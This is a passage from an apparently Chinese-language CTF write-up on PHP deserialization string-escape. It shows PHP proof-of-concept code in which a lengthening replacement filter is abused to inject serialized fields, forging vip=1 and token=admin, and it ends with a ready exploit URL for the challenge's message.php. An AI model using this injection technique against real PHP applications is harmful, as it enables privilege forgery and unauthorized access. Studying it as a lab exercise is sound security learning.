这样就把语句构造好了,但是如果想这个语句为有效语句,需要使长度和类属性相匹配,可知,由admin到hacker每次会增加一个字符,且有效payload";s:8:"password";s:6:"123456";s:3:"vip";i:1;}有45个字符,因此需要45/1=45个admin

<?php

class user{
public $username;
public $password;
public $vip;
public function __construct($u,$p)
{
$this->username=$u;
$this->password=$p;
$this->vip=0;

}
}
function filter($s)
{
return str_replace('admin','hacker',$s);
}
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"vip";i:1;}','123456');
$us = filter(serialize($u));
echo $us;
//O:4:"user":3:{s:8:"username";s:270:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:3:"vip";i:1;}";s:8:"password";s:6:"123456";s:3:"vip";i:0;}

因此成功构造了完整的序列化,伪造了vip=1,逃逸成功,至于多余的部分就可忽略了

题目

回到本题,将fuck替换为loveU,并且要伪造token=admin

开始伪造

<?php

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg=new message('fuck','2','3');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
//有效payload即";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}长度为62

现在替换为62个fuck

<?php

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}','2','3');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

image-20250219205612441

成功,因此直接传参后看到Your message has been sent后访问message.php即可

url/message.php?f=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}&m=2&t=3